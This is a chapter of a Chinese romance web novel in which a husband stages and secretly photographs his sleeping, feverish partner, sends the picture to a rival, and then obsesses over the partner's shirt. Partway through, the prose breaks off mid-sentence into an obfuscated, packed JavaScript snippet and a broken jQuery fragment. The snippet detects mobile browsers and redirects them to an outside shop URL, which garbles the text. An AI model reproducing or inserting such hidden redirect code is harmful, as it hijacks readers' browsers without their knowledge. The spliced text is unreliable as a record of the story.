12. 腺体残缺的丈夫12
作品:《老实直男也会被觊觎吗?[快穿]》 被脱下来的湿漉漉衣服扔到了青年身上,将青年裸露的上半身盖得严严实实,偏生却露出了手臂一小点白色。
汤水溅湿的衣服部位被特地摆在正上方,与许安然的嘴巴挨挤得很近,衬得本就殷红的唇瓣更加红艳艳的。
谢行衍的手还保持着被许安然抓住的姿势,从特地角度看像是被人抓着往他自己的胸口摸去。
绯红的脸颊、白皙的手臂、因难受微张着吐息的唇瓣,还有主动抓着人往自己胸口送的手。
谢行衍将其拍下,发送。
[时间不早去我们要睡觉了,请不要打扰我们。]
消息送达,谢行衍删掉聊天记录看向躺在床上的青年,烧得脸颊通红,不时发出难受的呼吸声。
刚刚的接触像是将病毒传染到了他身上,谢行衍感觉他的呼吸也变得有些发烫,莫名其妙的烦躁,很想再次靠近去轻嗅许安然的气息。
谢行衍将床头柜放着的醒酒汤配着药一点点给许安然喂完,接着又翻出退热贴给许安然和他自己贴上。
做完这一切,谢行衍站在床前,胸口那股燥意依旧难以化解,反而愈演愈烈。
许安然浅浅的呼吸声在安静的房间里分外明显,周围整片空气似乎都浸泡在许安然呼出的高浓度病毒中。
盖在许安然胸口上的衣服随着他的呼吸缓缓上下起伏,上方那抹湿漉漉的水痕在谢行衍眼里分外明显、刺眼。
许安然睡着的时候这么好摆弄,戚严大半夜找他究竟是图的什么心思?
要是许安然醉迷糊了倒在戚严家门口,这贱货就能当场把许安然捡回家,还能假借着换衣服擦洗的说法,把许安然浑身上下看了个精光。
出去还是好好的,不知道外面有什么景色这么好看,死活不肯回来,在外面惹得浑身滚烫发热、浪得醉醺醺才肯回来。
怨气再次从心起。
谢行衍忽地一把将盖在许安然身上的衬衫扯下!却在拿到手上后,小心翼翼叠好。
叠的姿势也分外别扭,双手抬高,几乎与脸平齐,衣服越叠离脸越近、越叠越近、越叠越近……
像是,像是恨不得借着叠衣服的姿势,去嗅闻衣服上残留的气息。
脸都恨不得当场埋进衣服里了,谢行衍的面容却一派冷然,像是在干什么自己不情不愿的活计。
在外面晃了这么久,发热说不定就是衣服上沾染了病菌,一直盖在身上放在这里,惹得空气里都是病菌。
一呼吸就发热、口干舌燥。
他得把这件衣服保存起来,送去医院检验科。
谢行衍给许安然换好睡衣,拿着这件“沾满病菌的衣服”走出许安然房间。
没有拿密封袋子装起,也没有做任何处理措施,就这么坦然地将它放在了自己的枕头底下。
甚至还细致地调整了好几下位置,确保其不偏不倚地放在最中间的地方。
然后整个人躺上床,枕在垫了衣服的枕头上,盖上被子。
嗯。
放在枕头下面方便拿取,不容易忘。
*
夜色已深,蝉鸣鸟叫声不止。
空调导风板上下翻转,呼啦啦的冷风从里缓缓送出。
离许安然那间“满是病菌的房间”远了,呆在自己门窗紧闭的空调房中,谢行衍只觉得空气不流通,更加闷热烦躁了,躺在床上迟迟难以入眠。
周围的一切声响在失眠的情况下被无限放大,无比嘈杂,扰得人心烦意乱。
很久未有过的恶心欲望在烦闷的环境下升起,上身是热的、下身也是热的;大脑是热的、脖子也是热的……
浑身上下热得莫名其妙,怀中空落落的,谢行衍将被子拼命往里紧拥盖住,却怎么也缓解不了难言的荒芜空虚感。
忽地,谢行衍将藏在枕头底下衣服一把抽出,几乎像是缺氧已久的溺水者般,迫切地呼吸着衣服上残留的气味。
衬衫上的纽扣紧压着谢行衍脸颊依旧是无知无觉,疯魔一般将脸往衣服上凑。
被强压已久的欲.望在主人此举下,蒸腾得更加厉害,小腹上青筋一根根鼓起,蔓延至下方。
竟凭空成结,涨得生疼。
瞬间将谢行衍从魔怔中惊醒!
盖在脸上的衣服滑落,谢行衍拽着衣服领口剧烈喘息,胸口剧烈起伏,大颗大颗的汗水滚滚而下,双目猩红布满血丝。
谢行衍猛地闭上眼睛,不敢再多看手上的衣服一眼,扶着墙壁跌跌撞撞、匆匆忙忙跑出房间,抖着手打开尘封的杂物房,取出先前买的特殊抑制剂。
冰凉的药水缓缓注入后颈。
谢行衍抖着的手逐渐平息,他闭眼背靠在墙上,抚摸着自己的后颈——原本光滑的表面,现在抚摸过去有了细微的凸起。
耐药性上来了,药效减弱,得去医院重新做一下配型制药了。
他深呼口气起身,将手上的针剂销毁。
心中的烦闷却没有随着针剂的销毁而缓解,刚刚他出汗流失了太多水分,又一直呆在空调房中,口干舌燥。
谢行衍看见杂物间的架子上放着一个崭新的陶瓷杯,随手将其拿起,简单清洗完毕后来到客厅饮水机处接水。
饮水机旁就是客厅的小茶几,茶杯和许安然喝水的杯子被整齐地排列摆放在上方。
谢行衍接完水视线随意一瞥,盯着许安然和自己手中如出一辙的同款水杯,当场顿住。
手中拿着的杯子顿时变得无比烫手。
当初他和许安然在乡下办完酒席后,许安然眼含期待、一脸兴奋地带着他搬进现在这栋房子,还神秘兮兮地掏出了手头这个杯子递给他。
他当初收下了,在发现许安然用着同款水杯后,当即便嫌恶地将杯子放进杂物间尘封起来。
许安然当初是什么样的表情?
谢行衍怎么也记不清了。
他拿着杯子的手猛地捏紧,陶瓷导热效果极好,烫得靠近杯壁的手指都泛红了。
谢行衍无知无觉。
他将许安然放在桌上的杯子拿起,左右两只手各拿着一只。
陶瓷水杯上两只同样姿势、不同朝向的小猫,正对他笑着。
谢行衍轻轻挪动,水杯上的两只小猫便挨挤着凑到一起、亲密无间。
谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486686|202050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
行衍感觉心脏闷得慌,现在较为宽阔的客厅仿佛沾满了灰尘,一颗颗直往他的肺涌去,有点呼吸不上来。
谢行衍将许安然的陶瓷杯放下,开门前往阳台。
夏天凉爽的晚风和空调外机的热浪交织着,吹得他分外难受,杯子端在手中,却迟迟喝不了几口水。
谢行衍怀着不知道什么样的心情,竟又重新走进了许安然的房间。
空调开太低了,他得过去调高点,许安然说过要攒钱给他买房,生病没得去上班房子买不上怎么办?
谢行衍找到理由,走进许安然房间将空调温度调高。
空调温度已经调好了,谢行衍应该干脆利落走人离开的,但他的脚却站立不动了,垂手立在身侧盯着许安然的睡颜。
呼吸声在安静的环境中轻轻响起。
可能是人类的本能,有同类在身边,听到同类熟睡发出的细小白噪音,会有一种安心感。
谢行衍烦躁的心奇异地静了下来,只剩下微微鼓涨的腺体。
许安然睡相这么差劲,肯定会翻身不小心将被子给踢开的,到时候加重发热,同住一屋檐下,他肯定会被传染。
盯了良久,许安然终于轻轻翻了个身。
谢行衍上前帮许安然掖好本就盖得严严实实的被角。
病人生病身体会不舒服,容易梦魇。许安然要是做噩梦了会一直翻身,被子散了病情加重会传染给他。
嗯,对。
明天他还得去一趟医院对进行新抑制剂的调配适用,这段时间不能被许安然传染到。
谢行衍将水杯放在床头柜上,搬了张椅子在许安然床前坐下……
*
清晨的日光倾斜而下。
许安然从睡梦中缓缓苏醒,眼睛刚一睁开,就感觉咽喉像是火烧一般干渴。
许安然费力起身,发现他的水杯不知何时出现在床头柜上,打开杯盖一看,里面盛着半杯水。
刚退烧的许安然没多想,直接将其端起闷了一大口。
脚步声忽地由远及近响起,许安然保持着喝水的动作抬眼一看,谢行衍竟破天荒地围上围裙,手上拿着碗筷向他走来。
“行衍,这是我的早餐吗?”
许安然受宠若惊,匆忙又喝了一口水,起身打算过去接过碗筷时,却发现谢行衍端着碗筷停在原地,眼睛直直落在他喝水的杯子上。
许安然不明所以地又喝了一口,眯着眼睛视线缓缓下移,在看到头往右扭的小猫脸时,瞬间僵在当场。
他,喝,错,了,水,杯。
“抱,抱歉行衍,”许安然尬笑道,“我不小心错杯子了,对不起,我等下就去找一个新的杯子还你。”
“不用,还渴吗?我去给你倒水。”
谢行衍将小米粥放在床头柜上,淡淡开口。
“啊?”
许安然惊异地抬起脸,没带眼镜现在连靠谢行衍表情判断都做不到,双手急得到处乱摸找。
塑料微凉的触感放在了他的手心,谢行衍开口:“慢慢来不用急,我就在这里,又不会走,不用急着看我。”
啊?!

